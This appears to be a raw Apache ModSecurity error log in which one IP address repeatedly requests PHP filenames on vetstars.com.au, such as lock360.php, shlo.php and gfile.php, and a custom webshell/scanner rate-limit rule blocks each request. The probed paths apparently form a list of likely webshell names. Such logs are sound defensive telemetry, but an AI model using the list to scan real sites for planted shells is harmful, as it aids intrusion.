[Tue Dec 23 02:04:04.538795 2025] [:error] [pid 40361:tid 40366] [client 13.79.133.172:12751] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUmIFOxiDEK95vL2EDrdQgAAAEM"]
[Tue Dec 23 02:04:05.072267 2025] [:error] [pid 40361:tid 40370] [client 13.79.133.172:9004] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUmIFexiDEK95vL2EDrdRgAAAEc"]
[Tue Dec 23 02:04:05.624995 2025] [:error] [pid 40268:tid 40307] [client 13.79.133.172:2160] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "aUmIFZWtCyS5tdJAiFxjDgAAAMU"]
[Tue Dec 23 02:04:06.195834 2025] [:error] [pid 40269:tid 40349] [client 13.79.133.172:2500] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "aUmIFi06Z11fTcfdsqTuHgAAARQ"]
[Tue Dec 23 02:04:06.792622 2025] [:error] [pid 40361:tid 40377] [client 13.79.133.172:12048] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "aUmIFuxiDEK95vL2EDrdTwAAAE4"]
[Tue Dec 23 02:04:07.355879 2025] [:error] [pid 40361:tid 40369] [client 13.79.133.172:11959] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "aUmIF-xiDEK95vL2EDrdUQAAAEY"]
[Tue Dec 23 02:04:08.094008 2025] [:error] [pid 40269:tid 40348] [client 13.79.133.172:7218] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bluejackets.php"] [unique_id "aUmIGC06Z11fTcfdsqTuIQAAARM"]
[Tue Dec 23 02:04:08.664197 2025] [:error] [pid 40267:tid 40283] [client 13.79.133.172:12070] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bluejackets.php"] [unique_id "aUmIGOTPWWVt2GkrftB1cgAAAAo"]
[Tue Dec 23 02:04:09.225731 2025] [:error] [pid 40269:tid 40353] [client 13.79.133.172:4242] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bluejackets.php"] [unique_id "aUmIGS06Z11fTcfdsqTuJQAAARg"]
[Tue Dec 23 02:04:09.814057 2025] [:error] [pid 40268:tid 40306] [client 13.79.133.172:5880] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bluejackets.php"] [unique_id "aUmIGZWtCyS5tdJAiFxjDwAAAMQ"]
[Tue Dec 23 02:04:10.424975 2025] [:error] [pid 40361:tid 40373] [client 13.79.133.172:12085] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aUmIGuxiDEK95vL2EDrdWQAAAEo"]
[Tue Dec 23 02:04:11.039898 2025] [:error] [pid 40267:tid 40281] [client 13.79.133.172:4242] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aUmIG-TPWWVt2GkrftB1dQAAAAg"]
[Tue Dec 23 02:04:11.678763 2025] [:error] [pid 40269:tid 40330] [client 13.79.133.172:10774] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aUmIGy06Z11fTcfdsqTuJwAAAQE"]
[Tue Dec 23 02:04:12.353138 2025] [:error] [pid 40268:tid 40319] [client 13.79.133.172:7195] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aUmIHJWtCyS5tdJAiFxjEQAAANE"]
[Tue Dec 23 02:04:12.924236 2025] [:error] [pid 40267:tid 40290] [client 13.79.133.172:13526] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUmIHOTPWWVt2GkrftB1egAAABE"]
[Tue Dec 23 02:04:13.489325 2025] [:error] [pid 40361:tid 40369] [client 13.79.133.172:8654] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUmIHexiDEK95vL2EDrdXQAAAEY"]
[Tue Dec 23 02:04:14.084249 2025] [:error] [pid 40361:tid 40378] [client 13.79.133.172:2754] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUmIHuxiDEK95vL2EDrdXwAAAE8"]
[Tue Dec 23 02:04:14.632195 2025] [:error] [pid 40267:tid 40289] [client 13.79.133.172:2174] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUmIHuTPWWVt2GkrftB1fwAAABA"]
[Tue Dec 23 02:04:15.174721 2025] [:error] [pid 40361:tid 40381] [client 13.79.133.172:8961] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ucp.php"] [unique_id "aUmIH-xiDEK95vL2EDrdZAAAAFI"]
[Tue Dec 23 02:04:15.742272 2025] [:error] [pid 40269:tid 40334] [client 13.79.133.172:10503] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ucp.php"] [unique_id "aUmIHy06Z11fTcfdsqTuKQAAAQU"]
[Tue Dec 23 02:04:16.312784 2025] [:error] [pid 40361:tid 40370] [client 13.79.133.172:10127] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ucp.php"] [unique_id "aUmIIOxiDEK95vL2EDrdZgAAAEc"]
[Tue Dec 23 02:04:16.845400 2025] [:error] [pid 40269:tid 40336] [client 13.79.133.172:12082] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ucp.php"] [unique_id "aUmIIC06Z11fTcfdsqTuLAAAAQc"]
[Tue Dec 23 02:04:17.398584 2025] [:error] [pid 40268:tid 40308] [client 13.79.133.172:8978] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "aUmIIZWtCyS5tdJAiFxjGAAAAMY"]
[Tue Dec 23 02:04:17.959098 2025] [:error] [pid 40268:tid 40324] [client 13.79.133.172:4235] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "aUmIIZWtCyS5tdJAiFxjGQAAANY"]
[Tue Dec 23 02:04:18.537056 2025] [:error] [pid 40269:tid 40349] [client 13.79.133.172:3977] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "aUmIIi06Z11fTcfdsqTuLQAAARQ"]
[Tue Dec 23 02:04:19.093657 2025] [:error] [pid 40268:tid 40319] [client 13.79.133.172:9011] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shlo.php"] [unique_id "aUmII5WtCyS5tdJAiFxjHwAAANE"]
[Tue Dec 23 02:04:19.655321 2025] [:error] [pid 40361:tid 40369] [client 13.79.133.172:10549] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ask.php"] [unique_id "aUmII-xiDEK95vL2EDrdbAAAAEY"]
[Tue Dec 23 02:04:20.227934 2025] [:error] [pid 40361:tid 40367] [client 13.79.133.172:5854] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ask.php"] [unique_id "aUmIJOxiDEK95vL2EDrdbgAAAEQ"]
[Tue Dec 23 02:04:20.763246 2025] [:error] [pid 40269:tid 40332] [client 13.79.133.172:14090] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ask.php"] [unique_id "aUmIJC06Z11fTcfdsqTuMgAAAQM"]
[Tue Dec 23 02:04:21.299412 2025] [:error] [pid 40267:tid 40276] [client 13.79.133.172:9002] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ask.php"] [unique_id "aUmIJeTPWWVt2GkrftB1hQAAAAM"]
[Tue Dec 23 02:04:21.846749 2025] [:error] [pid 40269:tid 40334] [client 13.79.133.172:2153] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUmIJS06Z11fTcfdsqTuNgAAAQU"]
[Tue Dec 23 02:04:22.389976 2025] [:error] [pid 40268:tid 40310] [client 13.79.133.172:4266] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUmIJpWtCyS5tdJAiFxjIQAAAMg"]
[Tue Dec 23 02:04:22.964514 2025] [:error] [pid 40268:tid 40318] [client 13.79.133.172:10143] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUmIJpWtCyS5tdJAiFxjIgAAANA"]
[Tue Dec 23 02:04:23.528481 2025] [:error] [pid 40267:tid 40286] [client 13.79.133.172:14250] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUmIJ-TPWWVt2GkrftB1jQAAAA0"]
[Tue Dec 23 02:04:24.078069 2025] [:error] [pid 40361:tid 40379] [client 13.79.133.172:14141] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kwm4.php"] [unique_id "aUmIKOxiDEK95vL2EDrdfAAAAFA"]
[Tue Dec 23 02:04:24.606634 2025] [:error] [pid 40361:tid 40378] [client 13.79.133.172:10659] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kwm4.php"] [unique_id "aUmIKOxiDEK95vL2EDrdfgAAAE8"]
[Tue Dec 23 02:04:25.127159 2025] [:error] [pid 40267:tid 40277] [client 13.79.133.172:8997] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kwm4.php"] [unique_id "aUmIKeTPWWVt2GkrftB1jgAAAAQ"]
[Tue Dec 23 02:04:25.668378 2025] [:error] [pid 40267:tid 40289] [client 13.79.133.172:10632] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kwm4.php"] [unique_id "aUmIKeTPWWVt2GkrftB1jwAAABA"]
[Tue Dec 23 02:04:26.218781 2025] [:error] [pid 40268:tid 40303] [client 13.79.133.172:14140] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gfile.php"] [unique_id "aUmIKpWtCyS5tdJAiFxjLAAAAME"]
[Tue Dec 23 02:04:26.750160 2025] [:error] [pid 40361:tid 40381] [client 13.79.133.172:14097] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gfile.php"] [unique_id "aUmIKuxiDEK95vL2EDrdhQAAAFI"]
[Tue Dec 23 02:04:27.276404 2025] [:error] [pid 40267:tid 40276] [client 13.79.133.172:16111] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gfile.php"] [unique_id "aUmIK-TPWWVt2GkrftB1kwAAAAM"]
[Tue Dec 23 02:04:27.822186 2025] [:error] [pid 40361:tid 40382] [client 13.79.133.172:10630] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gfile.php"] [unique_id "aUmIK-xiDEK95vL2EDrdiAAAAFM"]
[Tue Dec 23 02:04:28.338503 2025] [:error] [pid 40361:tid 40369] [client 13.79.133.172:8965] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sec.php"] [unique_id "aUmILOxiDEK95vL2EDrdjwAAAEY"]
[Tue Dec 23 02:04:28.872955 2025] [:error] [pid 40361:tid 40378] [client 13.79.133.172:10657] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sec.php"] [unique_id "aUmILOxiDEK95vL2EDrdkAAAAE8"]
[Tue Dec 23 02:04:29.413270 2025] [:error] [pid 40269:tid 40335] [client 13.79.133.172:10705] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sec.php"] [unique_id "aUmILS06Z11fTcfdsqTuUgAAAQY"]
[Tue Dec 23 02:04:29.961934 2025] [:error] [pid 40361:tid 40382] [client 13.79.133.172:10133] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sec.php"] [unique_id "aUmILexiDEK95vL2EDrdlwAAAFM"]
[Tue Dec 23 02:04:30.495933 2025] [:error] [pid 40268:tid 40320] [client 13.79.133.172:6188] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUmILpWtCyS5tdJAiFxjOwAAANI"]
[Tue Dec 23 02:04:31.035496 2025] [:error] [pid 40267:tid 40279] [client 13.79.133.172:10641] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUmIL-TPWWVt2GkrftB1qAAAAAY"]
[Tue Dec 23 02:04:31.583746 2025] [:error] [pid 40267:tid 40291] [client 13.79.133.172:8694] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUmIL-TPWWVt2GkrftB1rQAAABI"]
[Tue Dec 23 02:04:32.154199 2025] [:error] [pid 40361:tid 40374] [client 13.79.133.172:5864] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUmIMOxiDEK95vL2EDrdpQAAAEs"]
[Tue Dec 23 02:04:32.728284 2025] [:error] [pid 40361:tid 40372] [client 13.79.133.172:5830] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/price.php"] [unique_id "aUmIMOxiDEK95vL2EDrdqQAAAEk"]
[Tue Dec 23 02:04:33.336957 2025] [:error] [pid 40267:tid 40276] [client 13.79.133.172:7193] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/price.php"] [unique_id "aUmIMeTPWWVt2GkrftB1uQAAAAM"]
[Tue Dec 23 02:04:33.898350 2025] [:error] [pid 40268:tid 40311] [client 13.79.133.172:10631] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/price.php"] [unique_id "aUmIMZWtCyS5tdJAiFxjVQAAAMk"]
[Tue Dec 23 02:04:34.431779 2025] [:error] [pid 40269:tid 40340] [client 13.79.133.172:4287] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/price.php"] [unique_id "aUmIMi06Z11fTcfdsqTuawAAAQs"]
[Tue Dec 23 02:04:35.007443 2025] [:error] [pid 40269:tid 40352] [client 13.79.133.172:8975] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asus.php"] [unique_id "aUmIMy06Z11fTcfdsqTubQAAARc"]
[Tue Dec 23 02:04:35.565525 2025] [:error] [pid 40361:tid 40381] [client 13.79.133.172:14225] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asus.php"] [unique_id "aUmIM-xiDEK95vL2EDrdvQAAAFI"]
